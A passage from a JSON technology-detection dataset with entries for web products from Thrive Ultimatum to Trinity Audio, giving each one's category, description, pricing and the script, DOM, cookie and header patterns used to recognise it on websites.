\"https://thrivethemes.com/quizbuilder\"\n  },\n  \"Thrive Ultimatum\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Thrive Ultimatum is a WordPress scarcity marketing plugin with built-in templates and campaign tracking tools from developer Thrive Themes.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/thrive-ultimatum/']\"\n    ],\n    \"icon\": \"Thrive.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/thrive-ultimatum/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thrivethemes.com/ultimatum/\"\n  },\n  \"ThriveCart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ThriveCart is a sales cart solution that lets you create checkout pages for your online products and services.\",\n    \"icon\": \"ThriveCart.svg\",\n    \"js\": {\n      \"ThriveCart\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"thrivecart\\\\.js\"\n    ],\n    \"website\": \"https://thrivecart.com\"\n  },\n  \"Ticimax\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ticimax provides ecommerce infrastructure services.\",\n    \"icon\": \"Ticimax.svg\",\n    \"js\": {\n      \"ticimaxApi\": \"\",\n      \"ticimaxServices\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.ticimax\\\\.(?:com|cloud)/\"\n    ],\n    \"website\": \"https://www.ticimax.com\"\n  },\n  \"Tictail\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<link[^>]*tictail\\\\.com\"\n    ],\n    \"icon\": \"tictail.png\",\n    \"website\": \"https://tictail.com\"\n  },\n  \"TiddlyWiki\": {\n    \"cats\": [\n      1,\n      2,\n      4,\n      8\n    ],\n    \"description\": \"TiddlyWiki is an open-source notebook for capturing, organising and sharing complex information.\",\n    \"html\": [\n      \"<[^>]*type=[^>]text\\\\/vnd\\\\.tiddlywiki\"\n    ],\n    \"icon\": \"TiddlyWiki.svg\",\n    \"js\": {\n      \"tiddler\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"^TiddlyWiki$\",\n      \"copyright\": \"^TiddlyWiki created by Jeremy Ruston\",\n      \"generator\": \"^TiddlyWiki$\",\n      \"tiddlywiki-version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://tiddlywiki.com\"\n  },\n  \"Tidio\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Tidio is a customer communication product. It provides multi-channel support so users can communicate with customers on the go. Live chat, messenger, or email are all supported.\",\n    \"icon\": \"Tidio.svg\",\n    \"js\": {\n      \"tidioChatApi\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"code\\\\.tidio\\\\.co\"\n    ],\n    \"website\": \"https://www.tidio.com\"\n  },\n  \"Tiendanube\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Tiendanube is an ecommerce platform.\",\n    \"icon\": \"Tiendanube.svg\",\n    \"js\": {\n      \"LS.store.url\": \"^.+\\\\.mitiendanube\\\\.com$\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tiendanube.com\"\n  },\n  \"Tiiny Host\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Tiiny Host is a web hosting service for static sites with support for custom domains, SSL, password protection, and built-in analytics.\",\n    \"icon\": \"Tiiny Host.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"scriptSrc\": [\n      \"(?://|\\\\.)tiiny\\\\.(?:host|site)/\"\n    ],\n    \"website\": \"https://tiiny.host\"\n  },\n  \"TikTok Pixel\": {\n    \"cats\": [\n      10\n    ],\n    \"dom\": {\n      \"script[data-hid='tiktok']\": {\n        \"attributes\": {\n          \"data-hid\": \"\"\n        }\n      }\n    },\n    \"icon\": \"TikTok.svg\",\n    \"js\": {\n      \"TiktokAnalyticsObject\": \"\"\n    },\n    \"website\": \"https://ads.tiktok.com\",\n    \"xhr\": [\n      \"analytics\\\\.tiktok\\\\.com\"\n    ]\n  },\n  \"Tiki Wiki CMS Groupware\": {\n    \"cats\": [\n      1,\n      2,\n      8,\n      11,\n      13\n    ],\n    \"description\": \"Tiki Wiki is a free and open-source wiki-based content management system and online office suite written primarily in PHP.\",\n    \"icon\": \"Tiki Wiki CMS Groupware.svg\",\n    \"meta\": {\n      \"generator\": \"^Tiki\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/|_)tiki\"\n    ],\n    \"website\": \"https://tiki.org\"\n  },\n  \"Tiktak Pro\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Tiktak Pro is an all-in-one ecommerce platform from Tunisia.\",\n    \"icon\": \"Tiktak Pro.svg\",\n    \"meta\": {\n      \"author\": \"^tiktak-themes$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tiktakpro.tn\"\n  },\n  \"Tilda\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Tilda is a web design tool.\",\n    \"html\": [\n      \"<link[^>]* href=[^>]+tilda(?:cdn|\\\\.ws|-blocks)\"\n    ],\n    \"icon\": \"Tilda.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tilda(?:cdn|\\\\.ws|-blocks)\"\n    ],\n    \"website\": \"https://tilda.cc\"\n  },\n  \"Tiled\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Tiled is a microapp platform proven to drive engagement and deliver insight.\",\n    \"dom\": [\n      \"iframe[src*='s.tiled.co/']\"\n    ],\n    \"icon\": \"Tiled.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tiled.co\"\n  },\n  \"Tiledesk\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Tiledesk is the full-stack open-source Live Chat with built-in Chatbots, written in Node.js and Angular.\",\n    \"icon\": \"Tiledesk.svg\",\n    \"js\": {\n      \"Tiledesk\": \"\",\n      \"tileDeskAsyncInit\": \"\",\n      \"tiledesk\": \"\",\n      \"tiledeskSettings\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tiledesk.com\"\n  },\n  \"Tiller\": {\n    \"cats\": [\n      55\n    ],\n    \"description\": \"Tiller is a tool that automatically tracks your spending, balances, and budgets in flexible spreadsheets owned by you.\",\n    \"icon\": \"Tiller.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.by\\\\.tiller\\\\.co/\"\n    ],\n    \"website\": \"https://www.tillerhq.com\"\n  },\n  \"Timeplot\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"Timeplot.png\",\n    \"js\": {\n      \"Timeplot\": \"\"\n    },\n    \"scriptSrc\": [\n      \"timeplot.*\\\\.js\"\n    ],\n    \"website\": \"https://www.simile-widgets.org/timeplot/\"\n  },\n  \"Timify\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Timify is an online scheduling and resource management software for small, medium and large businesses.\",\n    \"icon\": \"Timify.svg\",\n    \"js\": {\n      \"TimifyWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.timify\\\\.com/\"\n    ],\n    \"website\": \"https://www.timify.com\"\n  },\n  \"Tint Wiz\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Tint Wiz is a customer management platform designed to streamline operations, increase sales and provide exceptional service to customers.\",\n    \"dom\": [\n      \"iframe[src*='app.tintwiz.com/']\"\n    ],\n    \"icon\": \"TintWiz.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tintwiz.com\"\n  },\n  \"Tiny Slider\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Tiny Slider is a vanilla javascript slider for all purposes.\",\n    \"icon\": \"default.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/([\\\\d\\\\.]+)/min/)?tiny-slider(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/ganlanyuan/tiny-slider\"\n  },\n  \"TinyMCE\": {\n    \"cats\": [\n      24\n    ],\n    \"cpe\": \"cpe:2.3:a:tiny:tinymce:*:*:*:*:*:*:*:*\",\n    \"description\": \"TinyMCE is an online rich-text editor released as open-source software. TinyMCE is designed to integrate with JavaScript libraries, Vue.js, and AngularJS as well as content management systems such as Joomla!, and WordPress.\",\n    \"icon\": \"TinyMCE.svg\",\n    \"js\": {\n      \"tinyMCE.majorVersion\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"tinymce\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/tiny_?mce(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.tiny.cloud/tinymce/\"\n  },\n  \"Tinybird\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Tinybird is a cloud-native data processing platform that allows developers and data teams to build real-time data pipelines and perform complex data transformations and analysis at scale.\",\n    \"icon\": \"Tinybird.svg\",\n    \"js\": {\n      \"Tinybird\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tinybird.co/js/index\\\\.js\"\n    ],\n    \"website\": \"https://www.tinybird.co/\"\n  },\n  \"Tinycon\": {\n    \"cats\": [\n      59,\n      66\n    ],\n    \"description\": \"A library for manipulating a websites favicon.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"tinycon(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://github.com/tommoor/tinycon\"\n  },\n  \"Tippy.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Tippy.js is the complete tooltip, popover, dropdown, and menu solution for the web, powered by Popper.\",\n    \"dom\": [\n      \"style[data-tippy-stylesheet]\"\n    ],\n    \"icon\": \"Tippy.js.svg\",\n    \"js\": {\n      \"tippy.defaultProps\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/tippy\\\\.js(?:@|/)?([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://atomiks.github.io/tippyjs\"\n  },\n  \"Tipsa\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"TIPSA is a parcel delivery company in Spain, Portugal and Andorra.\",\n    \"icon\": \"Tipsa.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bTipsa\\\\b\"\n    ],\n    \"website\": \"https://www.tip-sa.com\"\n  },\n  \"Tiqets\": {\n    \"cats\": [\n      5,\n      71\n    ],\n    \"description\": \"Tiqets provides a complete overview of a city - museums, attractions, zoos, canal cruises, concerts. Publishers joined to the Tiqets affiliate program can receive 6% commission during our 30-day cookie window from completed total bookings resulting from featuring links to Tiqets products and content across their brand: blog/website, social media, newsletters, etc.\",\n    \"dom\": [\n      \"a[href*='.tiqets.com/'][target='_blank'], iframe[src*='.tiqets.com/']\"\n    ],\n    \"icon\": \"Tiqets.svg\",\n    \"js\": {\n      \"__TIQETS_LOADER_REINIT\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tiqets.com/affiliate\"\n  },\n  \"Tistory\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"description\": \"Tistory is a South Korean blog-publishing service that allows private or multi-user blogs.\",\n    \"icon\": \"Tistory.svg\",\n    \"js\": {\n      \"TistoryBlog\": \"\"\n    },\n    \"website\": \"https://tistory.com\"\n  },\n  \"Titan\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Titan.png\",\n    \"js\": {\n      \"titan\": \"\",\n      \"titanEnabled\": \"\"\n    },\n    \"website\": \"https://titan360.com\"\n  },\n  \"Tolt\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Tolt is an affiliate marketing software designed for SaaS startups.\",\n    \"icon\": \"Tolt.svg\",\n    \"js\": {\n      \"toltAPI\": \"\\\\.tolt\\\\.io/\",\n      \"tolt_referral\": \"\",\n      \"toltio\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tolt\\\\.io/\"\n    ],\n    \"website\": \"https://tolt.io\"\n  },\n  \"TomTom Maps\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"TomTom Maps is a web mapping service.\",\n    \"icon\": \"TomTom.svg\",\n    \"js\": {\n      \"tomtom.Map\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.tomtom\\\\.com\"\n    ],\n    \"website\": \"https://www.tomtom.com\",\n    \"xhr\": [\n      \"api\\\\.tomtom\\\\.com\"\n    ]\n  },\n  \"TomatoCart\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:tomatocart:tomatocart:*:*:*:*:*:*:*:*\",\n    \"icon\": \"TomatoCart.png\",\n    \"js\": {\n      \"AjaxShoppingCart\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"TomatoCart\"\n    },\n    \"website\": \"https://tomatocart.com\"\n  },\n  \"Tomi.ai\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Tomi.ai is a predictive marketing platform.\",\n    \"icon\": \"Tomi.svg\",\n    \"js\": {\n      \"tomi.track\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tomi.ai\"\n  },\n  \"Tomis\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Tomis is a digital marketing tour operator, specialising in promoting travel services through online channels.\",\n    \"dom\": [\n      \"script#tomis_script-js\"\n    ],\n    \"icon\": \"Tomis.svg\",\n    \"js\": {\n      \"TOMIS\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tomis-bot\\\\.firebaseapp\\\\.com/\"\n    ],\n    \"website\": \"https://tomis.tech\"\n  },\n  \"Tontine\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Tontine is an A/B price testing platform built specifically for high-growth Shopify merchants focused on optimizing their profit margins.\",\n    \"icon\": \"Tontine.svg\",\n    \"js\": {\n      \"TontineApp.tontineAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tontine.ai\"\n  },\n  \"Tooltip\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Tooltip is a web-based in-app messaging suite designed to enhance user engagement and communication within applications.\",\n    \"icon\": \"Tooltip.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.tooltip\\\\.io/\"\n    ],\n    \"website\": \"https://tooltip.io\"\n  },\n  \"TornadoServer\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"TornadoServer(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"TornadoServer.png\",\n    \"website\": \"https://tornadoweb.org\"\n  },\n  \"TotalCode\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"TotalCode is an omnichannel and ecommerce platform designed to streamline sales and inventory management across various sales channels.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^TotalCode$\"\n    },\n    \"icon\": \"TotalCode.svg\",\n    \"website\": \"https://www.totalcode.com\"\n  },\n  \"Totango\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Totango is a customer success platform that helps recurring revenue businesses simplify the complexities of customer success by connecting the dots of customer data, actively monitoring customer health changes, and driving proactive engagements.\",\n    \"icon\": \"Totango.svg\",\n    \"js\": {\n      \"totango\": \"\",\n      \"totangoLoader\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.totango\\\\.com/totango([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\",\n      \"\\\\.amazonaws\\\\.com/totango-cdn/totango\\\\d\\\\.js\"\n    ],\n    \"website\": \"https://www.totango.com\"\n  },\n  \"Totara\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"TotaraSession\": \"\"\n    },\n    \"description\": \"Totara is a learning management system designed for businesses.\",\n    \"icon\": \"Totara.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.totaralearning.com\"\n  },\n  \"Touch2Success\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Touch2Success is a fully featured restaurant POS software designed to serve startups, enterprises.\",\n    \"icon\": \"Touch2Success.svg\",\n    \"meta\": {\n      \"content\": \"^Touch2Success$\"\n    },\n    \"website\": \"https://www.touch2success.com\"\n  },\n  \"TownNews\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"TownNews is a CMS platform built for local media organizations.\",\n    \"headers\": {\n      \"x-tncms\": \"\"\n    },\n    \"icon\": \"townnews.png\",\n    \"js\": {\n      \"TNCMS\": \"\",\n      \"TNStats_Tracker\": \"\",\n      \"TNTracker\": \"\"\n    },\n    \"website\": \"https://townnews.com/\"\n  },\n  \"Trac\": {\n    \"cats\": [\n      13\n    ],\n    \"cookies\": {\n      \"trac_form_token\": \"\",\n      \"trac_session\": \"\"\n    },\n    \"description\": \"Trac is an enhanced wiki and issue tracking system for software development projects, using a minimalistic approach to web-based software project management.\",\n    \"dom\": [\n      \"link[type*='text/x-trac-wiki']\"\n    ],\n    \"html\": [\n      \"<a id=\\\"tracpowered\",\n      \"Powered by <a href=\\\"[^\\\"]*\\\"><strong>Trac(?:[ /]([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Trac.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"website\": \"https://trac.edgewall.org\"\n  },\n  \"Track123\": {\n    \"cats\": [\n      100,\n      99\n    ],\n    \"description\": \"Track123 is a product under Lingxing, founded in September 2021, with a focus on providing all-in-one tracking and management services for cross-border sellers.\",\n    \"icon\": \"Track123.svg\",\n    \"js\": {\n      \"api_base\": \"https://www.track123.com\",\n      \"track123\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"track123\\\\.com\\\\/common\\\\/checkout-script-loader\\\\.js\"\n    ],\n    \"website\": \"https://www.track123.com\"\n  },\n  \"TrackJs\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"TrackJS is an error monitoring agent for production web sites and applications.\",\n    \"icon\": \"TrackJs.svg\",\n    \"js\": {\n      \"TrackJs\": \"\",\n      \"trackJs\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.trackjs\\\\.com\"\n    ],\n    \"website\": \"https://trackjs.com\"\n  },\n  \"Trackboxx\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Trackboxx is a GDPR-compliant web analysis tool that operates without using cookies, providing data privacy while offering detailed website insights.\",\n    \"icon\": \"Trackboxx.svg\",\n    \"js\": {\n      \"trackboxx\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"payg\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.trackboxx\\\\.info\"\n    ],\n    \"website\": \"https://trackboxx.com\"\n  },\n  \"Trackify X\": {\n    \"cats\": [\n      100,\n      10\n    ],\n    \"description\": \"Trackify X is a pixel engine that helps merchants backup their pixel data and manage multiple pixels.\",\n    \"icon\": \"Trackify X.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"trackifyx\\\\.redretarget\\\\.com/\"\n    ],\n    \"website\": \"https://trackifyapp.com\"\n  },\n  \"TradePending\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"TradePending, formerly known as SnapCell, is a software platform for automotive digital retailing, offering car dealers tools to enhance rapport, increase sales, drive upsell, and improve customer satisfaction through reliable and straightforward video marketing.\",\n    \"js\": {\n      \"TradePendingPlugin\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tradepending\\\\.com\"\n    ],\n    \"website\": \"https://tradepending.com\"\n  },\n  \"Tradedoubler\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Tradedoubler is a global affiliate marketing network.\",\n    \"dom\": {\n      \"a[href*='clk.tradedoubler.com/click']\": {\n        \"text\": \"\"\n      },\n      \"img[src*='impes.tradedoubler.com/imp']\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"Tradedoubler.svg\",\n    \"scriptSrc\": [\n      \"swrap\\\\.tradedoubler\\\\.com\"\n    ],\n    \"website\": \"https://www.tradedoubler.com/\"\n  },\n  \"TradingView\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"TradingView is used to show world chart, chats and trades markets.\",\n    \"dom\": [\n      \"iframe[src*='.tradingview.com/']\"\n    ],\n    \"icon\": \"trading_view.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.tradingview.com\"\n  },\n  \"Traek\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Traek is a website insights, analytics and lead generation tool.\",\n    \"icon\": \"Traek.svg\",\n    \"js\": {\n      \"Traek\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.traek.io\"\n  },\n  \"TrafficStars\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"TrafficStars is a self-served ad network and ad exchange that operates mainly in adult-related verticals.\",\n    \"dom\": [\n      \"img[src*='tsyndicate.com/'], a[href*='trafficstars.com']\"\n    ],\n    \"icon\": \"TrafficStars.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tsyndicate\\\\.com/\"\n    ],\n    \"website\": \"https://trafficstars.com\"\n  },\n  \"Trak\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Trak is a customer analytics platform designed for startups.\",\n    \"icon\": \"Trak.svg\",\n    \"js\": {\n      \"trak.custom_event\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.trak.io\"\n  },\n  \"Transcend\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Transcend is data privacy management compliance platform.\",\n    \"icon\": \"Transcend.svg\",\n    \"js\": {\n      \"transcend\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.transcend.io\"\n  },\n  \"Transcy\": {\n    \"cats\": [\n      89,\n      100\n    ],\n    \"description\": \"Transcy is a Shopify translation app. Transcy allows you to translate your whole store content into target languages to reach different nation shoppers.\",\n    \"icon\": \"Transcy.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"_transcy\": \"\",\n      \"transcy_apiURI\": \"\",\n      \"transcy_shopifyLocales\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://transcy.io\"\n  },\n  \"Transifex\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:transifex:transifex:*:*:*:*:*:*:*:*\",\n    \"description\": \"Transifex is a cloud-based platform for managing the translation and localization of digital content.\",\n    \"icon\": \"transifex.svg\",\n    \"js\": {\n      \"Transifex.live.lib_version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.transifex.com\"\n  },\n  \"Transistor.fm\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Transistor.fm is a podcast host, distribution and management platform.\",\n    \"dom\": [\n      \"iframe[src*='.transistor.fm/']\"\n    ],\n    \"icon\": \"Transistor.fm.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://transistor.fm\"\n  },\n  \"Translate WordPress\": {\n    \"cats\": [\n      87,\n      89\n    ],\n    \"description\": \"Translate WordPress is a website translator plugin which can translate any website to any language automatically. Translate WordPress plugin is now a part of GTranslate family.\",\n    \"icon\": \"GTranslate.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/google-language-translator/.+scripts\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://gtranslate.io\"\n  },\n  \"Transmart\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Transmart is a shipping company in Turkey.\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bTransmart\\\\b\"\n    ],\n    \"website\": \"https://transmartshipping.com\"\n  },\n  \"Tray\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Tray is an all-in-one ecommerce platform from Brazil.\",\n    \"icon\": \"tray.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tcdn\\\\.com\\\\.br\"\n    ],\n    \"website\": \"https://www.tray.com.br\"\n  },\n  \"Trbo\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"cookies\": {\n      \"trbo_session\": \"^(?:[\\\\d]+)$\",\n      \"trbo_usr\": \"^(?:[\\\\d\\\\w]+)$\"\n    },\n    \"description\": \"Trbo is a personalisation, recommendations, A/B testing platform from Germany.\",\n    \"icon\": \"Trbo.svg\",\n    \"js\": {\n      \"_trbo\": \"\",\n      \"_trbo_start\": \"\",\n      \"_trboq\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.trbo\\\\.com\"\n    ],\n    \"website\": \"https://www.trbo.com\"\n  },\n  \"Treasure Data\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Treasure Data is the only enterprise customer data platform.\",\n    \"dom\": [\n      \"link[href*='.treasuredata.com']\"\n    ],\n    \"icon\": \"Treasure Data.svg\",\n    \"js\": {\n      \"Treasure.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.treasuredata\\\\.com/\"\n    ],\n    \"website\": \"https://www.treasuredata.com\"\n  },\n  \"Tremor\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Tremor is an open-source library for building charts and dashboards using React components, designed on top of Tailwind CSS.\",\n    \"dom\": [\n      \"div[tremor-id*='tremor-raw'], div[class*='text-tremor-']\"\n    ],\n    \"icon\": \"Tremor.svg\",\n    \"oss\": true,\n    \"website\": \"https://tremor.so\"\n  },\n  \"Trendemon\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Trendemon is a web personalization and account-based orchestration solution.\",\n    \"icon\": \"Trendemon.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.trendemon\\\\.com/\"\n    ],\n    \"website\": \"https://trendemon.com\"\n  },\n  \"Trengo\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Trengo is an omnichannel communication platform that unifies all messaging channels into one single view.\",\n    \"icon\": \"Trengo.svg\",\n    \"js\": {\n      \"Trengo.eventBus\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.widget\\\\.trengo\\\\.eu/\"\n    ],\n    \"website\": \"https://trengo.com\"\n  },\n  \"Triggerbee\": {\n    \"cats\": [\n      76,\n      10\n    ],\n    \"description\": \"Triggerbee is an onsite personalisation platform that lets you use customer and behavioral data to build and launch personalised campaigns.\",\n    \"icon\": \"Triggerbee.svg\",\n    \"js\": {\n      \"triggerbee\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"t\\\\.myvisitors\\\\.se\"\n    ],\n    \"website\": \"https://triggerbee.com\"\n  },\n  \"Trinity Audio\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Trinity Audio's AI-driven solutions help publishers and content creators create a world of smart audio experiences for their audiences, covering every stage of the audio journey from creation to distribution.\",\n    \"icon\": \"Trinity Audio.svg\",\n    \"js\": {\n      \"TRINITY_DISPLAY\": \"\",\n      